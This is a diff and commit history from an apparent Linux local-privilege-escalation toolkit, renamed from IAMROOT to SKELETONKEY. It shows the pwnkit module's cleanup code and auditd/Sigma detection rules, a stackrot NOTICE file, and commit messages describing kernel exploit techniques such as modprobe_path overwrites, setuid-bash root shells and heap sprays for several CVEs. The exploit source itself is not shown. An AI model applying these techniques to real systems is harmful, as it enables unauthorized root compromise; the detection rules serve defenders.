+static skeletonkey_result_t pwnkit_cleanup(const struct skeletonkey_ctx *ctx)
 {
    (void)ctx;
-    /* Best-effort: nuke any leftover iamroot-pwnkit-* dirs in /tmp.
+    /* Best-effort: nuke any leftover skeletonkey-pwnkit-* dirs in /tmp.
     * Successful exploit cleans itself up (PWNKIT.so unlinks before
     * execve /bin/sh). Failed exploit leaves the tmpdir. */
    if (!ctx->json) {
-        fprintf(stderr, "[*] pwnkit: removing /tmp/iamroot-pwnkit-* workdirs\n");
+        fprintf(stderr, "[*] pwnkit: removing /tmp/skeletonkey-pwnkit-* workdirs\n");
    }
-    if (system("rm -rf /tmp/iamroot-pwnkit-*") != 0) {
+    if (system("rm -rf /tmp/skeletonkey-pwnkit-*") != 0) {
        /* harmless — there may not be any */
    }
-    return IAMROOT_OK;
+    return SKELETONKEY_OK;
 }

 /* ----- Embedded detection rules ----- */
@@ -362,13 +362,13 @@ static iamroot_result_t pwnkit_cleanup(const struct iamroot_ctx *ctx)
 static const char pwnkit_auditd[] =
    "# Pwnkit (CVE-2021-4034) — auditd detection rules\n"
    "# Flag pkexec execution from non-root + look for argc==0 indicators.\n"
-    "-w /usr/bin/pkexec -p x -k iamroot-pwnkit\n"
-    "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k iamroot-pwnkit-execve\n"
-    "-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k iamroot-pwnkit-execve\n";
+    "-w /usr/bin/pkexec -p x -k skeletonkey-pwnkit\n"
+    "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n"
+    "-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n";

 static const char pwnkit_sigma[] =
    "title: Possible Pwnkit exploitation (CVE-2021-4034)\n"
-    "id: 9e1d4f2c-iamroot-pwnkit\n"
+    "id: 9e1d4f2c-skeletonkey-pwnkit\n"
    "status: experimental\n"
    "description: |\n"
    "  Detects pkexec invocations with GCONV_PATH / CHARSET env tweaks (the\n"
@@ -387,7 +387,7 @@ static const char pwnkit_sigma[] =
    "level: high\n"
    "tags: [attack.privilege_escalation, attack.t1068, cve.2021.4034]\n";

-const struct iamroot_module pwnkit_module = {
+const struct skeletonkey_module pwnkit_module = {
    .name           = "pwnkit",
    .cve            = "CVE-2021-4034",
    .summary        = "pkexec argv[0]=NULL → env-injection LPE (polkit ≤ 0.120)",
@@ -403,7 +403,7 @@ const struct iamroot_module pwnkit_module = {
    .detect_falco   = NULL,
 };

-void iamroot_register_pwnkit(void)
+void skeletonkey_register_pwnkit(void)
 {
-    iamroot_register(&pwnkit_module);
+    skeletonkey_register(&pwnkit_module);
 }
@@ -0,0 +1,12 @@
+/*
+ * pwnkit_cve_2021_4034 — SKELETONKEY module registry hook
+ */
+
+#ifndef PWNKIT_SKELETONKEY_MODULES_H
+#define PWNKIT_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module pwnkit_module;
+
+#endif
@@ -0,0 +1,31 @@
+# NOTICE — stackrot (CVE-2023-3269)
+
+## Vulnerability
+
+**CVE-2023-3269** — Maple-tree VMA-split UAF (race between mremap and
+fork+fault) → kernel R/W via stale anon_vma_chain reference.
+
+## Research credit
+
+Discovered and disclosed by **Ruihan Li** (Peking University),
+July 2023.
+
+Original advisory: <https://github.com/lrh2000/StackRot>
+Writeup: <https://lkmidas.github.io/posts/20230724-stackrot/>
+
+Upstream fix: mainline 6.5-rc1 (commit `0503ea8f5ba73`, July 2023).
+Branch backports: 6.4.4 / 6.3.13 / 6.1.37.
+
+## SKELETONKEY role
+
+Two-thread race driver (Thread A: mremap rotation on MAP_GROWSDOWN
+anchored VMA; Thread B: fork+fault) with cpu pinning. kmalloc-192
+spray for anon_vma_chain reclaim. Bounded budget: 3 s default,
+30 s with `--full-chain`.
+
+**Honest reliability assessment:** ~<1% race-win per run on a
+vulnerable kernel. Ruihan Li's public PoC averages minutes-to-hours
+and needs a much wider VMA-staging matrix to be reliable. The
+shared finisher's 3 s sentinel timeout handles the overwhelmingly
+common no-land outcome gracefully — module returns EXPLOIT_FAIL
+honestly rather than claim root on a race that didn't win.
--- a/Show More
+++ b/Show More
Author	SHA1	Message	Date
leviathan	9593d90385	rename: IAMROOT → SKELETONKEY across the entire project release / build (arm64) (push) Waiting to run Details release / build (x86_64) (push) Waiting to run Details release / release (push) Blocked by required conditions Details Breaking change. Tool name, binary name, function/type names, constant names, env vars, header guards, file paths, and GitHub repo URL all rebrand IAMROOT → SKELETONKEY. Changes: - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum values, docs, comments) - All "iamroot" → "skeletonkey" (functions, types, paths, CLI) - iamroot.c → skeletonkey.c - modules//iamroot_modules.{c,h} → modules//skeletonkey_modules.{c,h} - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh - Binary "iamroot" → "skeletonkey" - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY - .gitignore now expects build output named "skeletonkey" - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-* - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_* New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow SKELETONKEY block letters) replaces the IAMROOT banner in skeletonkey.c and README.md. VERSION: 0.3.1 → 0.4.0 (breaking). Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0. All 24 modules still register; no functional code changes — pure rename + banner refresh.	2026-05-16 22:43:49 -04:00
leviathan	9d88b475c1	v0.3.1: --dump-offsets tool + NOTICE.md per module release / build (arm64) (push) Waiting to run Details release / build (x86_64) (push) Waiting to run Details release / release (push) Blocked by required conditions Details The README has been claiming "each module credits the original CVE reporter and PoC author in its NOTICE.md" since v0.1.0, but only copy_fail_family actually shipped one. Fixed. modules/<name>/NOTICE.md (×19 new + 1 existing): per-module research credit covering CVE ID, discoverer, original advisory URL where public, upstream fix commit, IAMROOT's role. iamroot.c: new --dump-offsets subcommand. Resolves kernel offsets via the existing core/offsets.c four-source chain (env → /proc/kallsyms → /boot/System.map → embedded table), then emits a ready-to-paste C struct entry for kernel_table[]. Run once as root on a target kernel build; upstream via PR. Eliminates fabricating offsets — every shipped entry traces back to a `iamroot --dump-offsets` invocation on a real kernel. docs/OFFSETS.md: documents the --dump-offsets workflow. CVES.md: notes the NOTICE.md convention + offset dump tool. iamroot.c: bump IAMROOT_VERSION 0.3.0 → 0.3.1.	2026-05-16 22:33:43 -04:00
leviathan	1bcfdd0c9f	release: v0.3.0 — 4 new CVE modules (24 total) release / build (arm64) (push) Waiting to run Details release / build (x86_64) (push) Waiting to run Details release / release (push) Blocked by required conditions Details iamroot.c: bump IAMROOT_VERSION 0.2.0 → 0.3.0 CVES.md: add inventory entries for nft_set_uaf, af_unix_gc, nft_fwd_dup, nft_payload; extend operations table; bump counts (🟢 13 · 🟡 11 · 🔵 0 · ⚪ 1). README.md: update Status to 24 modules, list all 11 🟡 modules. Module families now spanning: - copy_fail_family (page-cache write) - nf_tables (4 modules: nf_tables, nft_set_uaf, nft_fwd_dup, nft_payload) - af_packet (2 modules: af_packet, af_packet2) - overlayfs (2 modules: overlayfs CVE-2021-3493, overlayfs_setuid) - af_unix (new in v0.3.0) - plus 10 single-CVE families	2026-05-16 22:25:15 -04:00
leviathan	5a808e3583	modules: 4 new CVE modules — nft_set_uaf + af_unix_gc + nft_fwd_dup + nft_payload Each module: detect with branch-backport ranges + userns reach + hand-rolled trigger + msg_msg cross-cache groom + slabinfo witness + /tmp/iamroot-<name>.log breadcrumb + auditd rules + --full-chain finisher (FALLBACK depth, sentinel-arbitrated). nft_set_uaf (CVE-2023-32233, +1033): anonymous-set UAF (Sondej+Krysiuk). 5.1 → 6.4. nfnetlink batch: NEWTABLE → NEWCHAIN → NEWSET(ANON\|EVAL) → NEWRULE(lookup) → DELSET → DELRULE; cg-512 spray. af_unix_gc (CVE-2023-4622, +813): GC race UAF (Lin Ma). ~2.0 → 6.5 — widest range of any module. Two-thread race driver (SCM_RIGHTS cycle vs unix_gc trigger) + kmalloc-512 spray. No userns needed. nft_fwd_dup (CVE-2022-25636, +1024): nft_fwd_dup_netdev_offload heap OOB (Aaron Adams). 5.4 → 5.17. NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd to overrun action.entries[]. nft_payload (CVE-2023-0179, +1136): set-id memory corruption (Davide Ornaghi). 5.4 → 6.2. NFTA_SET_DESC variable element + NFTA_SET_ELEM_EXPRESSIONS with payload-set whose verdict.code drives the regs->data[] OOB. All 4 honor verified-vs-claimed: trigger fires, primitive grooms, no fabricated offsets. EXPLOIT_OK only via empirical setuid-bash sentinel. Build clean on Debian 6.12.86; all 4 refuse cleanly on both default and --full-chain paths via the existing patched-kernel detect gate.	2026-05-16 22:24:15 -04:00
leviathan	6a0a7d8718	scaffold: 4 new module dirs + registry/Makefile wiring (stubs) Pre-scaffolding for the next batch (CVE-2023-32233, CVE-2023-4622, CVE-2022-25636, CVE-2023-0179). Each module ships as a 21-line stub returning PRECOND_FAIL; parallel agents fill in the real detect/exploit/--full-chain implementations. This commit keeps registry.h / iamroot.c / Makefile in one place so the 4 parallel agents don't collide on shared-file edits — they each own a single iamroot_modules.c. Build clean on Debian 6.12.86; --list shows all 24 modules including the 4 new stubs.	2026-05-16 22:17:47 -04:00
leviathan	e2a3d6e94f	release: v0.2.0 — --full-chain root-pop opt-in across 7 🟡 modules release / build (arm64) (push) Waiting to run Details release / build (x86_64) (push) Waiting to run Details release / release (push) Blocked by required conditions Details iamroot.c: bump IAMROOT_VERSION 0.1.0 → 0.2.0 CVES.md: redefine 🟡 to note --full-chain capability + docs/OFFSETS.md README.md: update Status section for v0.2.0 docs/OFFSETS.md: new doc — env-var/kallsyms/System.map/embedded-table resolution chain + operator workflow for populating offsets per kernel build + sentinel-based success arbitration. All 7 🟡 modules now expose `--full-chain`. Default behavior unchanged.	2026-05-16 22:06:14 -04:00
leviathan	c1d1910a90	modules: wire --full-chain root-pop into all 7 🟡 PRIMITIVE modules Each module now exposes an opt-in full-chain root-pop via --full-chain: default --exploit behavior is unchanged (primitive-only, returns EXPLOIT_FAIL). With --full-chain, after primitive lands, modules call iamroot_finisher_modprobe_path() via a module-specific arb_write_fn that re-uses the same trigger + slab groom to write a userspace payload path into modprobe_path[], then exec a setuid bash dropped by the kernel-invoked modprobe. netfilter_xtcompat (+239): msg_msg m_list_next stride-seed FALLBACK af_packet (+316): sk_buff data-pointer stride-seed FALLBACK af_packet2 (+156): tp_reserve underflow + skb spray, LAST RESORT nf_tables (+275): forged pipapo_elem with kaddr value-ptr (Notselwyn offset 0x10), FALLBACK cls_route4 (+251): msg_msg refill of UAF'd filter, FALLBACK fuse_legacy (+291): m_ts overflow + MSG_COPY sanity gate, FALLBACK (one of two modules with a real post-write sanity check) stackrot (+233): race-driver budget extended 3s → 30s when --full-chain; honest <1% race-win/run All seven honor verified-vs-claimed: arb_write_fn returns 0 for "trigger structurally fired"; the shared finisher's setuid-bash sentinel poll is the empirical arbiter. EXPLOIT_OK only when the sentinel materializes within 3s of the modprobe_path trigger. Build clean on Debian 6.12.86 (kctf-mgr); all 7 modules refuse cleanly on both default and --full-chain paths via the existing patched-kernel detect gate (short-circuits before the new branch).	2026-05-16 22:04:40 -04:00
leviathan	125ce8a08b	core: add shared finisher + offset resolver + --full-chain flag Adds the infrastructure the 7 🟡 PRIMITIVE modules can wire into for full-chain root pops. core/offsets.{c,h}: four-source kernel-symbol resolution chain 1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, …) 2. /proc/kallsyms (only useful when kptr_restrict=0 or root) 3. /boot/System.map-$(uname -r) (world-readable on some distros) 4. embedded table keyed by uname-r glob (entries are relative-to-_text, applied on top of an EntryBleed kbase leak; seeded empty in v0.2.0 — schema-only — to honor the no-fabricated-offsets rule). core/finisher.{c,h}: shared root-pop helpers given a module's arb-write primitive. Pattern A (modprobe_path): write payload script /tmp/iamroot-mp-<pid>.sh, arb-write modprobe_path ← that path, execve unknown-format trigger, wait for /tmp/iamroot-pwn-<pid> sentinel + setuid bash copy, spawn root shell. Pattern B (cred uid): stub — needs arb-READ too; modules use Pattern A unless they have read+write. On offset-resolution failure: prints a verbose how-to-populate diagnostic and returns EXPLOIT_FAIL honestly. core/module.h: + bool full_chain in iamroot_ctx iamroot.c: + --full-chain flag (longopt 7, sets ctx.full_chain) + help text describing primitive-only-by-default + the opt-in to attempt the full chain. Makefile: add core/offsets.o + core/finisher.o to CORE_SRCS. Build clean on Debian 6.12.86; --help renders the new flag.	2026-05-16 21:56:03 -04:00
leviathan	3a5105c84c	README: clarify iamroot runs unprivileged + add non-root → root demo The whole point of an LPE tool is going from unprivileged to root, but the Quickstart was leading with `sudo iamroot --scan`. Fix: - Drop sudo from --scan / --audit / --exploit / --detect-rules. These work without root (--scan reads /proc + /etc; --audit walks the FS via stat; --exploit IS the privilege escalation; --detect-rules emits to stdout). - Keep sudo only where it's actually needed: --mitigate (writes /etc/modprobe.d + sysctl) and tee'ing rule files into /etc/audit/rules.d/. - Add a worked example showing `id` as uid=1000, then `iamroot --exploit dirty_pipe --i-know`, then `id` as uid=0. - Fix the Build & run section's `sudo ./iamroot` too.	2026-05-16 21:51:32 -04:00